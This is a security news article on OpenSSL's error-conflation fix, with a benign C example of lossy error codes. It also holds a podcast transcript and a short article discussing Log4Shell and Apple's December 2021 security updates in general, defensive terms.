Serious Security: OpenSSL fixes “error conflation” bugs – how mixing up mistakes can lead to trouble

Amidst the ongoing brouhaha created by the apparently omnipresent Log4Shell insecurity featuresecurity vulnerability, it’s easy to lose track of all the other things that you should, and normally would, be working on anyway.

Indeed, the UK’s National Cyber Security Centre (NCSC) is warning that:

Remediating [the Log4Shell] issue is likely to take weeks, or months for larger organisations.

As it happens, the above quote comes from the NSCS’s guide for company boards-of-directors, in a section that warns top management to take steps to avoid burnout in cybersecurity teams.

But we’ve already needed to write this week about Apple’s latest security updates, which apply to all the company’s products, and include fixes for almost every sort of security risk you can think of.

Apple’s patches don’t deal with Log4Shell, but they do close other holes all the way from kernel compromise (think: spyware implants) to privacy bypasses (think: configuration hacks and data leakage):

And on our sister site, Sophos News, we’ve written about Patch Tuesday, with Microsoft fixing numerous operating system and application bugs that include 26 remote code execution (RCE) flaws.

Again, Log4Shell doesn’t come into the picture, but there were eight ironic RCEs in Microsoft’s own software tool that aims to improve security in the notoriously vulnerable world of IoT devices:

OpenSSL publishes updates

Well, in case you missed it, the renowned OpenSSL cryptographic toolkit – a free and open source software product that we’re guessing is installed much more widely than Log4J – also published updates this week.

OpenSSL 1.1.1m replaces 1.1.1l (those last characters are M-for-Mike and L-for-Lima), and OpenSSL 3.0.1 replaces 3.0.0.

In case you were wondering, the popular X.Y.Z versioning scheme used by OpenSSL 3 was introduced at least in part to avoid the confusion caused by the trailing letter in the earlier version “numbering” system. As for OpenSSL 2, there wasn’t one. Only the 1.1.1 and the 3.0 series are currently supported, so updating versions such as OpenSSL 1.0.x means jumping to 1.1.1m, or directly to the OpenSSL 3 series.

“Applications may not behave correctly”

The good news is that the OpenSSL 1.1.1m release notes don’t list any CVE-numbered bugs, suggesting that although this update is both desirable and important (OpenSSL releases are infrequent enough that you can assume they arrive with purpose), you probably don’t need to consider it critical just yet.

But those of you who have already moved forwards to OpenSSL 3 – and, like your tax return, it’s ultimately inevitable, and somehow a lot easier if you start sooner – should note that OpenSSL 3.0.1 patches a security risk dubbed CVE-2021-4044.

As far as we’re aware, there are no viable known exploits for this bug, but as the OpenSSL release notes point out:

[The error code that may be returned due to the bug] will be totally unexpected and applications may not behave correctly as a result. The exact behaviour will depend on the application but it could result in crashes, infinite loops or other similar incorrect responses.

In theory, a precisely written application ought not to be dangerously vulnerable to this bug, which is caused by what we referred to in the headline as error conflation, which is really just a fancy way of saying, “We gave you the wrong result.”

Simply put, some internal errors in OpenSSL – a genuine but unlikely error, for example, such as running out of memory, or a flaw elsewhere in OpenSSL that provokes an error where there wasn’t one – don’t get reported correctly.

Instead of percolating back to your application precisely, these errors get “remapped” as they are passed back up the call chain in OpenSSL, where they ultimately show up as a completely different sort of error.

You can see a contrived but explanatory example of bugs of this sort in this code:

extern int open (const char *fname, int flags);
extern int close (int fd);
extern int read (int fd, void *buff, unsigned int len);
extern int printf(const char *fmt, ...); /* Utility function to open file for reading */ static int openfile(const char *fname) { /* Open file in mode 0 (O_RDONLY) */ return open(fname,0);
} /* Utility function to read first 4 'magic' bytes of file */ static int readmagic(const char *fname) { int magic, fd, nbytes; /* Open file, return -1 on error */ if ((fd=openfile(fname)) < 0) { return -1; }; /* Try to read 'magic' number */ nbytes = read(fd,&magic,sizeof(int)); close(fd); /* Return 'magic' if we got enough bytes */ /* or return -1 to denote error if not */ return nbytes < sizeof(int) ? -1 : magic;
} /* Top-level code */ extern int main(int argc, char **argv) { int magic, revmagic; /* Try every file on command line */ for (int n = 1; n < argc; n++) { /* Call the one true magic-finding function */ magic = readmagic(argv[n]); /* Check for errors, and say so if needed */ if (magic == -1) { printf("File %s is corrupt\n",argv[n]); } else { int revmagic = (((magic>>24)&255)<< 0)| (((magic>>16)&255)<< 8)| (((magic>> 8)&255)<<16)| (((magic>> 0)&255)<<24); printf("%-24s: magic = [",argv[n]); for (int i = 0; i < 4; i++) { char ch = *((char *)(&magic)+i); printf("%c",ch>=32 && ch<127 ? ch : '.'); } printf("] (0x%08X) %d\n",revmagic,magic); } } return 0;
}

Figuring out the code

Don’t worry if you aren’t a programmer or don’t know C – the story is easily told.

The main() function above tries to read the first four bytes of the file specified on the command line, which is often enough to guess the type of the file, and then prints out this four-byte ‘magic’ number in ASCII, in big-endian hexadecimal, and in signed decimal:

 $ /home/duck/testapp/badmagic samples/* samples/class.gday : magic = [....] (0xCAFEBABE) -1095041334 samples/class.testapp : magic = [....] (0xCAFEBABE) -1095041334 samples/doc.format : magic = [....] (0xD0CF11E0) -535703600 samples/doc.legal5 : magic = [....] (0xD0CF11E0) -535703600 samples/docx.letter : magic = [PK..] (0x504B0304) 67324752 samples/exe.notepad : magic = [MZ..] (0x4D5A9000) 9460301 samples/exe.salamand : magic = [MZ..] (0x4D5A8000) 8411725 samples/jar.gday : magic = [PK..] (0x504B0304) 67324752 samples/png.logo : magic = [.PNG] (0x89504E47) 1196314761 samples/zip.archive : magic = [PK..] (0x504B0304) 67324752

Sidenote. The MZ in EXE files is Mark Zbikowski, who invented the file format decades ago. The PK in ZIP, DOCX and JAR files is the late Phil Katz, founder of PK-ZIP and inventor of the file format used by all ot these. The hexadecimal magic numbers CAFEBABE and D0CF11E0 (read the first 1 as I and the second as L) for compiled Java class files and old-style Office DOC files are what passes for programmatic humour.

As run above, the program seems to work just fine.

But all errors that the program might encounter get converted to a single, convenient error code of -1 (0xFFFFFFFF in hexadecimal), and any errors that do occur get reported as you see below (this time, we used Windows):

 C:\Users\duck> badmagic.exe 1byte.file nosuch.file ffffffff.raw C:\Windows File 1byte.file is corrupt File nosuch.file is corrupt File ffffffff.raw is corrupt File C:\Windows is corrupt

The code reports some sort of error each time, but the programmer has tried to simplify error handling by assuming that any file from which four bytes can’t be read, and that therefore doesn’t have a ‘magic’ number as far as this program’s definition is concerned, is somehow ‘corrupt’.

You’d be forgiven for thinking, faced with the output above, that something dreadful just happened to your hard disk or your operating system, when in fact three of the errors are unexceptionable and undramatic, and one of them isn’t an error at all.

If the lower-level functions openfile() and readmagic() had been structured to allow them to return helpful and realistic error codes all the way back to the top-level main() function, the output could have been laid out like this:

 File 1byte.file contains fewer than 4 bytes File nosuch.file does not exist ffffffff.raw : magic = [....] (0xFFFFFFFF) -1 File C:\Windows is a directory

In fact, the programmer has made another type of blunder here, by choosing an error value (-1) that overlaps with a possible, albeit unlikely, genuine answer.

The file ffffffff.raw consists of the hexadecimal byte 0xFF repeated many times, so the file does exist, is not a directory, is at least four bytes long, and should be reported as having a magic number of 0xFFFFFFFF, not as being corrupt.

By conflating a wide range of errors, and by provoking an error when there isn’t one, the readmagic() function is liable to send higher-level parts of any app that uses it on wild goose chases, as well as turning up errors that might mislead higher-level code into misbehaving.

Well-written code habits

Well-written code should never ignore “errors that can never occur at this point”, because that sort of error has a nasty habit of occurring after all.

Well-written code should never return errors when it has documented in its “contract” with the outside world that it cannot do so. (If code insists that “an error cannot occur”, but something does go wrong, the code shoould either repair the error fully and properly, or terminate abnormally.)

And well-written code should never pretend there isn’t an error when there is.

It’s worth noting that both Unix/Linux and Windows provide an official way for higher-level code to zoom in more precisely on a lower-level error that couldn’t be reported precisely by the function that detected it.

For example, C functions that return a memory address have little choice but to use NULL (usually a value of zero) to denote an error, and anything else to denote success, given that the NULL value is the only pointer considered inaccessible and invalid by definition.

Generally speaking, NULL is the only value that is guaranteed by the C standard not to clash with any legitimate memory address that might be returned.

To solve this problem, you can examine the special variable errno (Unix/Linux), or call the Windows function GetLastError().

But neither of these techniques can recover error codes that happened before the last one: there’s no GetSecondLastError() function, and the errno variable is not an ever-shifting array of historical error codes.

So, if handling an error requires calling another system function – for example if failing to read() a file means you close() it before you return – then you may find that by the time you return to the part of the app that called you, GetLastError() or errno will happily tell the caller that nothing went wrong..

As Microsoft explains:

You should call the GetLastError function immediately when a function’s return value indicates that such a call will return useful data. That is because some functions [set the error code back to zero] when they succeed, wiping out the error code set by the most recently failed function.

OpenSSL irony

Ironically, perhaps, the OpenSSL 3.0.0 “error percolation” bug can only be triggered when OpenSSL is trying to improve security by verifying a digital certificate supplied by a remote server.

As the OpenSSL advisory explains, the first way this bug may be triggered is when one sort of error, such as a memory error, inadvertently comes back to you as a “you need to try this again” type of error.

In general, you should assume that you can’t reliably recover from memory errors, and your software should shut down as leanly and cleanly as it can to avoid crashes or corruption, so “trying this again” is almost certainly the wrong thing to do.

The second way is if a separate and just-fixed OpenSSL bug, not worthy of a CVE on its own, triggers the bogus “you need to try this again” error even though no error occurred.

As you can imagine, saying “you need to try this again” when all that will happen is that yet another identically erroneous error will occur is a recipe for trouble.

What to do?

  • If you are on OpenSSL 1.1.1. Your customers may reasonably expect you to patch, but if you are still busy fighing Log4Shell, we hope they will be reasonable and not insist that you do it instantly. Be aware, however, that automated vulnerabiloity scanning tools that “detect” bugs based on version number strings only, rather than on determining whether a bug is actually exploitable or even reachable in the code they are “analysing”, may produce warnings that make your customers anxious. Be ready for that.
  • If you are on Open SSS 3.0.0. This bug probably isn’t critical, and might not even be triggerable in your code, but your simplest and quickest solution is to patch, for the avoidance of all doubt.
  • If you are a programmer. Try to retain and return realistic error messages all the way from the point where they occur to your log file or console. “Lossy” error reporting leads, at best, to hassles in troubleshooting, because you’re misinforming your users. At worst, imprecise or incorrect error messages can lead to insecure decisions taken elsewhere in the code, such as ploughing on purposefully when you are out of memory. Avoid denoting errors using values that could arise legitimately, because a reported “problem” that doesn’t actually exist can never be “solved”.

LISTEN TO OUR LATEST PODCAST – LOG4SHELL ADVICE

Click-and-drag on the soundwaves below to skip to any point. You can also listen directly on Soundcloud.


S3 Ep63: Log4Shell (what else?) and Apple kernel bugs [Podcast+Transcript]

LISTEN NOW

Click-and-drag on the soundwaves below to skip to any point. You can also listen directly on Soundcloud.

With Doug Aamoth and Paul Ducklin. Intro and outro music by Edith Mudge.

You can listen to us on Soundcloud, Apple Podcasts, Google Podcasts, Spotify, Stitcher and anywhere that good podcasts are found. Or just drop the URL of our RSS feed into your favourite podcatcher.

READ THE TRANSCRIPT

DOUG AAMOTH. Log4Shell, Log4Shell, Log4Shell, and Apple security updates.

All that and more on the Naked Security Podcast.

Welcome to the podcast, everybody: I am Doug; he is Paul.

[IRONIC VOICE] And, Paul, what a boring, mundane, uneventful week in the world of cybersecurity!


PAUL DUCKLIN. I’ll tell you what, Doug: I’ve actually been waiting all weekend for the Fun Fact, because I could do with some of that right now.


DOUG. Great, because I’ve got a perfect Fun Fact for you.

You could call it the “ultimate beta test”: before the first powered flight, brothers Orville and Wilbur Wright had made more than 700 successful test flights in an unpowered glider.

We’ll talk more about the Wright brothers later in the show.


DUCK. Cool.

That’s a great bit of history, isn’t it?

Because they really did everything [CHUCKLES] “right” from a science and engineering point of view.

They didn’t know how to fly, because nobody had done it before (powered flight, that is), but they didn’t just make it up as they went along – they followed a solid process.


DOUG. Yes, Sir!

So, we shift gears to a not so solid process: Log4Shell…


DUCK. Or maybe a process so solid…


DOUG. A little TOO solid! [LAUGHS]


DUCK. …so heavyweight that it’s sinking us all like stones.

OK, exaggerating for effect there, Doug, but not by much.


DOUG. Lots of talk about this bug, and lots to unpack.

What is the bug? And I guess my secondary question: is this really a bug, or a feature that has been exploited?


DUCK. All good questions.

And just for anybody who’s missed out, we are talking about a bug that goes by the name “Log4Shell”; you’ll also see the text “Log4J”, which is a Java programming library from Apache that means “Logging For Java”; and you will see it referred to by its official name CVE-2021-44228.

As you say, Doug, “Is it a bug or a feature?”

This Log4J programming library: it’s very, very popular; it’s been around for years.

It’s made by Apache, the same people who make the httpd web server.

And if you write Java software, which, as you know, is very popular in the back-end business logic marketplace, logging is really important.

Because logging is how you do auditing, compliance, all sorts of stuff.

So, clearly, you want a really convenient, [GOES OVER THE TOP] super-powerful, extraordinarily excellent logging system, and Log4J is supposed to be one of those.

Sadly, it has a feature that allows the data you want to log to include what are called in the jargon “metacharacters”, special characters.

Dollar sign, squiggly brackets, some special commands, squiggly brackets. [IN US ENGLISH. SQUIGGLY BRACKETS ARE ALSO KNOWN AS BRACES]

And when it writes that log data, it doesn’t write ${...} – it converts that into something “more useful”, Doug, and sadly, one of the “more useful” conversions it can do…

…and this is by design – like you say, this is a feature that was supposed to be there all along…

…[WRY LAUGH] one of the things you can do, in the data you want to log: you can put a special command that says, “Look, I don’t really know what data you’re supposed to log at this point; here is a network URL that you can connect to and look it up.”

What could possibly go wrong, Doug?


DOUG. {GASP OF INCREDULITY] Why?

So, someone like me, who understands the concept of logging but may not understand completely how loggers work…

…I was under the impression that, whatever I give you, RECORD THAT THING.

Log what I say; don’t let me put other stuff in there for you to interpret.


DUCK. Oh, it gets worse, Doug!

When you call back to me, I can say, “Look, I don’t actually know the data, but I’ve got a little Java program here that I’ll send you that can figure it out for you. Why don’t you run it and see what it says?”


DOUG. [INDIGNANT] I mean to say…


DUCK. I kid you not! That is the feature. [LAUGHS]


DOUG. I was going to say, “They’re trying to be helpful.”

But in their zeal to be helpful, it’s turned into the fact that you could just run arbitrary code.

The logee is able to control the logger, which shouldn’t be the case, right?


DUCK. It is, as you say, “Logee controls logger.”

They send a name, or a string of digits or whatever they’re transmitting, that is essentially a secret “mini-program” for the other end to run.

So I think that’s why this thing is just being abused so crazily.

It’s not like a traditional exploit.

We’ve talked on the podcast before about buffer overflows, use-after-free, bugs like that.

Those are vulnerabilities, but to exploit them, what you’re doing is you’re poking a stick into the server until it crashes.

And then, as it crumbles around you, you’re guiding your way carefully through the rubble and coming out the other end in control.

You can see why that’s quite difficult, and exploits like that can take months to perfect, and they may be super-unreliable, even at the end of it.

But Log4Shell is “by design”.

The system is supposed to let you say, “Here’s a URL: connect out to it; download the program that you find there; and, regardless of what it is, kindly execute it for me. Thank you.”


DOUG. Has it always been this way, and we just discovered it?

Or is did something happen in the past month or so that created a vulnerability whereby you can have code run like this?


DUCK. From what I’ve heard, it was a feature request to the Apache Log4J team many years ago – eight years ago, or something.

Someone said, “Hey, it would be really handy if I could do a directory services lookup from the log. Why don’t you put it in?”

And it is just that, lately, people figured out, “Hey, you can do cool stuff with this.”

From what I’ve heard, some of the kids on Minecraft…


BOTH. [LAUGHTER]


DUCK. It’s not funny, yet it is funny.

Some of the kids on Minecraft figured, “Hey, how cool is this?”

So word got out, and proof-of-concept stuff appeared, and notes on Twitter arrived.

So it turned into a zero day, a very visible zero day.

Apache were fairly quick to a-patch it [LAUGHTER], but Pandora’s knowledge was out of the jar by that time, and it was too late to get it back in.


DOUG. OK, so the big picture right now: what is happening across the internet?

Because a lot of companies are using this logging library.

What are the criminals using this vulnerability for… do we call it a vulnerability? Or is it a feature?


DUCK. I think we do have a vulnerability here.

The news is, and SophosLabs is tracking this as vigorously as it can, that there’s an awful lot of smoke/smog/steam/mist, which is not helping…

…but in amongst that, there are some very definite fires burning, and it seems that one of the main things that active cybercriminals are doing, as you can imagine – we’ve spoken about this recently – is cryptomining.

I’m assuming because, if it’s a server, and it’s a business-logic server, it might be quite powerful!


DOUG. [LAUGHS] Uh-huh!


DUCK.So it seems there’s quite a bit of cryptomining going on.

And, as we mentioned before, that can be expensive.

If you’ve got a server that typically doesn’t do much, and it’s in the cloud, and it’s currently costing you $5 a month…

…you do not want to wake up to find that it is now costing you $5000 a month so that some crook can skim off the rewards from cryptocurrency transactions.

Another thing that crooks are doing, and maybe we can come back to this later on, is they’re using the vulnerability to exfiltrate data.

They poke in code that reads something interesting that they suspect is stored on the server, and send it back to themselves: they’re using the bug for data stealing.

So that seems to be the main things that are happening right now: cryptomining; data stealing; and implanting general zombie code that can be instructed later on to go and download something else.


DOUG. And it sounds like it’s widespread enough that it could be causing enough havoc, and diverting enough attention, that it could possibly cause a smokescreen for other criminal activity while people are dealing with this.

So I guess our advice would be that you should deal with this, but you should also keep an eye on other things, because everyone’s distracted right now.


DUCK. Yes!

As you said at the very top of the show, Doug, “Log4Shell, Log4Shell, Log4Shell… and Apple patches.”

I’ll give the game away in advance: the Apple patches actually have nothing to do with Log4Shell, but they do have everything to do with a whole number of other vulnerabilities, apparently including jailbreaking the kernel.

Which is implant-secret-spyware kind of stuff.

So you are quite right.

But I don’t know whether the crooks are *actively* figuring, “Hey, this is a great smokescreen.”

I think the problem there is don’t they don’t need to.


DOUG. So, if I’m a company, and this is very widespread, at what point can I assume I’m not affected by this?

Is it, “I only have a public facing server and there’s Java code on it”?

Or does it extend beyond something like that?


DUCK. That’s one of the most important questions to know the answer to.

Because I have seen some responses – obviously, they’re flying around the internet, what companies have said to their customers – using words to the effect of, “Don’t panic, we’re golden. All our public-facing servers are non-Java.”

That was perhaps what a lot of companies assumed at first.

They figured, “I’ve got IIS from Microsoft; I’ve got Apache httpd, which is not written in Java, it’s written in C; I’ve got nginx; I’ve got all these servers; none of them are written in Java. Phew!”

And the problem is that, because this is associated with logging untrusted user-supplied data, the bug can be triggered on a server that is not directly connected to the internet.

All that has to happen is user connects to your web server fills in a web form where they put in username, address phone number: “Dollar, squiggly brackets”, etc.,


DOUG. [LAUGHS]


DUCK. They send it to your web server…

…your web server is going to package up that data.

Some of it, the web server might log itself; the rest of it, almost certainly in many companies, is going to get bundled up and passed off deeper into the network, sent off to your back-end servers, your business logic servers.

So the real problem is that it’s not just your public facing servers that you need to worry about.

So what that means, really, is that you can’t just think about defence-in-depth in this case.

You have to think about defence-in-breadth – you need to scan your whole estate.

And, at the first cut, all you really need to do is look for files called log4j*.jar, where JAR is a Java archive.

That’s Step One.

And, Step Two, I recommend this: make yourself a nice, strong cup of tea.

[CHUCKLES] Prepare yourself for an unpleasant surprise.


DOUG. [LAUGHS]


DUCK. Because I suspect that many organisations are going to find that they have a lot more copies of Log4J than they ever expected.


DOUG. That’s my next question: if I’m a home user, should I be searching my own machine for this?

Does this affect home users as well?


DUCK. There’s no reason not to.

We’ve got some instructions on how to do it on Naked Security – some files you can look for.

However, a lot of people at home don’t consider themselves IT experts, and for that reason have gone out to a service provider for the family web site, or for the discussion forum that they use for the sports club they belong to.

You probably want to go to those providers and find out whether the stuff that you’ve got there, content about your family, and about your customers if you have any, is safe and sound.

I’d recommend not emailing them first – go to their website and see if you can find a statement.

A lot of companies have already managed to do the right thing, and they have statements where they list all their products.


DOUG. Very good!

Let’s talk about the patch a bit.

Does the patch work?

And, I guess more importantly, what do you do if you can’t just roll out a patch to a billion machines in the next 15 minutes?


DUCK. The good news is that if you update to Log4J 2.15.0, then it protects you from yourself and from your logs.

I wrote a quite detailed article – but user-friendly, it’s not too technical – on Naked Security that charts my own journey through building a deliberately vulnerable system, applying the patches, and validating for myself that they actually worked.

The other thing that I did, in case you can’t apply the patch, is that there are various ways of altering the runtime configuration of a system you already have, without changing any of the code.

You just change the commands you use to run it, or the configuration settings that you use when it starts.

What those mitigations do is they set what are called Java system properties that force the logging library into a state that says, “No outside lookups allowed.”

And I validated those mitigations as well, and I show how you can apply that fix and check that the bug stops working.

So yes, there is a patch; it’s surprisingly simple; and if you haven’t started, then you’re a bit late to the party.


DOUG. [LAUGHS]


DUCK. The problem is, with this threat, that’s so broad, and so easy to exploit, and so easy to obfuscate by using all sorts of different characters in the magic dollar-squiggly-bracket stuff…

..,that really you have to be part of the solution, not part of the problem.

You can throw technology at it, but you do need also to go and find where you’ve got this thing and fix it.


DOUG. The next is a somewhat related question, given that many medium-to-large-size organisations are leveraging a ton of different servers, whether they be in the cloud or different technologies from different vendors…

…does this start to feel kind of like a supply-chain issue, because of lot of the third-party services that a company might be leveraging could have this Java exploit?


DUCK. Yes, I think you can consider this a supply-chain attack.

When I scanned my laptop just for fun, just to see what was there, I found apps that I could barely remember I had; that I had no idea used Java; and, even if I did, I would not have on any magic list that said they included the Log4J code.

So in that sense, it is a supply-chain attack.

And I guess that’s why it’s important, whether you’re a small, medium or large business, if you can publish a short, sharp, clear document, easily accessible on your website.

That is a great comfort to your users, because what it means is that you’re saying, “I know the bill of materials in my products, and I have found out whether they have the vulnerable code or not, and I’m prepared to disclose that to you simply, clearly and in plain English, without lots of lots of gobbledygook.”


DOUG. All right, we’ve done some good work here.

It may not be over, but let’s put it to rest for now.

We’ve got two articles up on Naked Security, and we’ve got another technical article on Sophos News.

Plenty of things for the good people to read, and ingest, and put to use.

So we will leave you with that and take a quick break for This Week in Tech History – a little palate cleanser, if you will.

We talked about the Wright brothers earlier in the show, and on 17 December 1903, Orville and Wilbur Wright made their first successful powered airplane flights: four test flights were made that day.

The first, by Orville, lasted about 12 seconds, and the fourth, by Wilbur, lasted a record 59 seconds.

Now, the brothers couldn’t find an automobile engine both light and powerful enough to propel their airplane, so they had one fabricated in their bicycle shop by their shop mechanic, Charlie Taylor.

Taylor built it in just six weeks.

So we hear a lot about the Wright brothers, but not a whole lot about Charlie Taylor, one of the true heroes of flight!


DUCK. Yes, that’s a very funky story, isn’t it?

“We can’t get an internal combustion engine with the right characteristics. The automobile guys aren’t interested in this. They don’t even know what we need. We’ll start from scratch.”


DOUG. Yeah, build our own engine, no problem!

Well, let us now get back to cybersecurity and *not* talk about Log4Shell.

We’ll talk about a whole slew of Apple security updates without a mention of Log4Shell, so what’s going on with thsse updates, Paul?


DUCK. Last night after I finished my magnum opus about how to understand, assess, patch and verify your response to this Log4Shell vulnerability…

…to my surprise, I found there was an update for my Mac, and I thought, “Ahaha, it can only be, surely….


DOUG. [LAUGHS] Aha!


DUCK. And of course, like you said earlier, could there be a smokescreen?

Could this be a distraction?

What if we focus on Log4Shell and we forget everything else?

So, the first thing I did is that I set the download going – it was 1GB or something- and then I jumped onto the the Apple security bulletins to find out, “What did they fix?”

So I set my Firefox search to 44228 and I went through all the bulletins waiting for that to pop up. (That’s the CVE number for Log4Shell.)

Nothing!

So I thought, “Well, that’s interesting, because the bulletins are quite long,” and it turns out there are loads of other things that were fixed.


DOUG. Some of these look pretty serious.

We’ve got kernel level remote code execution.


DUCK. Yes, I think that’s the big one.

And from what I’ve read elsewhere (I haven’t checked the veracity of this yet), apparently this was essentially a jailbreaking bug.

That’s basically where someone doesn’t just break out of one app, but takes over the operating system completely.

Now there are hackers out there love to do that to their own iPhones, because they think it’s a great idea – we do *not* recommend it, particularly for business phones, because there’s an awful lot that can go wrong….

…but as a lot of our listeners will know, the problem with jailbreaking or iPhone “rootkittery” is if somebody can do it without you realising, then it’s the ultimate way to implant spyware, isn’t it?

NSO Group, Pegasus, etc., etc.

Those are the kind of vulnerabilities that could lead to full device takeover, and are very definitely things that you want to patch on your mobile phone.


DOUG. Yes!

And then tracking flaws, that sounds bad.


DUCK. Apparently, there was a way that you could make tracking suppression features not work properly,

It doesn’t sound terribly severe.

But if you’re thinking, “Well, the good thing about my Mac, or my iPhone, or my iPad, at least Apple have put tracking limitation features in”, that’s a bad thing to think if they’re not working properly.


DOUG. Yes, another bad sounding one.

Malware detection bypasses?


DUCK. This, as far as I know, applies to the the the system that Apple calls Gatekeeper, which is sort of their rudimentary built-in antivirus.

My understanding is there are some ways that malware can sidestep that.


DOUG. And then two related ones: network traffic leakage and memory leakage?


DUCK. Yes, obviously, you’re assuming that a process or software that is not supposed to be able to spy on your network traffic, or spy on your the details of your memory usage…

…you kind of assume that those protective features work.

Apparently, however, there are bypasses for both of those.

So there’s a way that a rogue process or server could get to look at your network traffic when really it’s not supposed to.

And there’s also a way that details about what’s in memory, including the layout of memory, could be accessed by processes that aren’t supposed to know it.

The thing with memory disclosure problems, as you can imagine, is, “What if they could suck out all my passwords?”

But sometimes, on modern operating systems, you might get a memory leakage that leaks something really, really, modest-sounding, like a memory address, which is just a number where this program lives in memory.

And of course, as you know, modern operating systems go to great trouble to have what’s called address space layout randomisation (ASLR), precisely so you can’t guess or work out where programs are in memory.

Because that makes them harder to attack with memory-based exploits.

But if you can leak even just an address out of memory and figure, “Aha, so that’s where you’re hiding XYZ feature in the kernel this time,” then you just broke ASLR.

So that’s another one you definitely want to patch.


DOUG. All right.

And this is a always a bad sign: elevation-of-privilege?


DUCK. That often used to be considered – some people still do consider it – a sort-of second tier vulnerability.

It’s only a silver medal on the exploit table, because obviously the one everyone wants is remote code execution.

But, if you think about it, elevation-of-privilege (EoP) and remote code execution…

…for the crooks, they go fantastically well together.

When you do your remote code execution, like we talked about with Log4Shell, you get to inject the code into the server process.

Now, if the server has very restricted rights, that might do less harm than you’d hoped.

But if you can combine an attack where you get some user rights with a trick that lets you grab more user rights, as long as you’re inside the network first, then basically you’ve turned a minor remote code execution flaw into a potentially huge one.

So, I never really consider those as second-tier exploits these days.

I figure, when I see an elevation-of-privilege patched, and it’s got a CVE number…

…I think, “I wonder which remote code execution exploit it was paired with.”


DOUG. Tes!

All right. And then last but certainly not least, privacy bypasses?


DUCK. Obviously, the tracking flaws that you mentioned affect your privacy, but that’s was down to what the wireless networking system was saying outside your computer.

These bypasses, as I understand it, are ones that allow locally running programs to read and write data that is supposed to be off limits.

You can see why that’s bad because it helps you: steal data; make unauthorized changes to system configurations; sneakily drop malware scripts; all sorts of stuff.


DOUG. Patch early, patch often!

On iOS: Settings > General > Software Update.

On your Mac: Apple menu > About this Mac > Software Update…

And Paul, just because we didn’t talk about Log4Shell, does that mean it can’t, in theory, affect Macs?


DUCK. In theory, as we said before, you could be vulnerable on a standalone computer or laptop.

This bug is not about being connected to the network; it’s about taking untrusted data and supplying it to a program that you think will use it harmlessly but ends up using it in a way that is malicious.

So you may nevertheless wish to go to that Naked Security article we mentioned earlier, and check out your Mac.

The risk is low, but why not check?

You will not be any worse off for looking.


DOUG. OK. That is “Apple security updates are out and not a Log4Shell mention in sight” on Naked Security.

And we will bring it home with the Oh! No! of the week.

I feel like I need a nap, and I am dehydrated… we’ve been through a lot this episode.


DUCK. It’s all that fire and smoke, Doug, [PUTS ON CROAKY VOICE] hurting your throat.


DOUG. Reddit user “ShakeYourBooty” writes…

Back in my early days of tech support, CRT monitors were very much the norm.

One user called in and told me, “My mouse is stuck and the cursor on the monitor is no longer moving.”

While trying to get more information from him, I kept hearing him grunt with effort, followed by a loud thump in the background.

After the third such instance, during the call, I finally asked, “What’s going on?”

“Oh, I’m trying to see if I can shake loose the mouse on my screen.” [THUD]

He was picking up his monitor off his desk and dropping it down in an attempt to “loosen” it.

I quickly told him to stop before he hurt himself.


DUCK. Oh, did he think the mouse cursor was like the minute hand on a clock?

That it was actually a physical thing inside there that moved around with a little magent, “Wheeee!”


DOUG. [LAUGHS] Yes!

I want that to not be true; I want that to be a made up story.

But you know, doing a little technical support myself in my younger years, I can’t put it past some people.


BOTH. [LAUGHTER]


DUCK. I did once have a problem on my Mac, many years ago, where there was a blob on the screen…


DOUG. [LAUGHS]


DUCK. It wast about the size of of a of a full stop, a period, in boldface when the font’s big.

It obscured just enough to be really, really annoying.

So I got my screen cleaner out, and I tried to clean it and I couldn’t, and I thought, “That’s funny, it’s not moving with the text on the screen, so it’s not an *actual* period in my article going up and down,” but I thought no more of it.

And then, a little bit later, I thought, “Oh my Lord, I wonder if I’ve got malware!”

It started moving of its own accord, this little pixel, moving across the screen!


DOUG. [LAUGHS]


DUCK. And then when I looked really closely, I realised a tiny little fly had got inside.

It was actually walking around on the side of the screen, as far as I could make out.


DOUG. [LAUGHS]

If you have an Oh! No! you’d like to submit, we’d love to read it on the podcast.

You can email tips@sophos.com; you can comment on any one of our articles; or hit us up on social: @NakedSecurity.

That’s our show for today, and a little housekeeping: we will be off for the next two weeks in observance of the holidays, so have a great holiday break, everybody!

We’ll be back with you in the New Year.

Thank you very much for listening, and for Paul Ducklin, I’m Doug Aamoth, reminding you until next time to…


BOTH. Stay secure!


DUCK. [SOTTO VOCE] And get those patches done.

Learn more about Sophos Managed Threat Response here:
Sophos MTR – Expert Led Response  ▶
24/7 threat hunting, detection, and response  ▶


Apple security updates are out – and not a Log4Shell mention in sight

Amongst all the brouhaha about Log4Shell, it’s easy to forget all the other updates that surround us.

Not only is it Patch Tuesday (keep your eye on our sister site news.sophos.com for the latest on that score later in the day)…

…but it’s also time to check your Apple devices, because Apple just pushed out a slew of its they-arrive-when-they’re-ready-and-don’t-expect-any-warning security patches.

The updated versions you’re looking for are:

As for iOS 14 and iOS 12, which are the official previous and pre-previous iPhone operating systems (in the same way that Big Sur and Catalina are the previous incarnations of macOS), there’s no sign of any updates for them.

Observant readers will notice that the URLs in the list above form an unbroken numeric sequence except for a gap at HT212977, so whether that’s a space left open for a delayed update for iOS 14 or not we can’t tell you…

…but we did notice that Apple’s main security noticeboard page, HT201222, still [2021-12-14T12:00Z] doesn’t mention the updates listed above.

In the past, we’ve noticed an apparent correlation between delayed updates for individual platforms and delayed listings on HT201222, but we have no idea whether that is coincidence rather that true correlation, or a desire on Apple’s part to hold off updating the central listing until all the new versions can be displayed in one go.

(Apple, as you know, has an official policy of saying as little as possible about updates and update cycles, so we shall have to wait and see.)

What about Log4Shell?

As you can imagine, given the timing of this update, our first thought was to jump straight to the bulletins above and search for CVE-2021-44228, better known as Log4Shell, to see if the cybersecurity crisis currently circulating the globe was behind these patches.

The good news, if you want to think of it that way, is that it isn’t: we didn’t see mention of the text CVE-2021-44228, Log4Shell or Log4j anywhere in any of the abovementioned bulletins.

The bad news, perhaps, is that there are plenty of other vulnerabilities that were patched by Apple.

The patches include many that don’t immediately sound as serious as Log4Shell (because they aren’t actively and aggressively being abused already), but that could in theory have been even worse (because they involve more serious side-effects, such as potential full kernel compromise).

The security fixes in this round of updates close off holes that include:

  • Kernel-level remote code execution. Could lead to a complete jailbreak of device security.
  • Tracking flaws. Could lead to you being tracked when you thought you couldn’t be.
  • Malware detection bypassses. Could lead to Apple’s rudimentary built-in anti-virus allowing malware to sidestep its checks.
  • Network traffic leakage. Could reveal network traffic to people who shouldn’t be able to see it.
  • Memory leakage. Could spill secrets such as encryption keys, or leak memory addresses that help to bypass address space layout randomisation (ASLR).
  • Elevation of privilege. Could let an otherwise innocent app escape from its security controls.
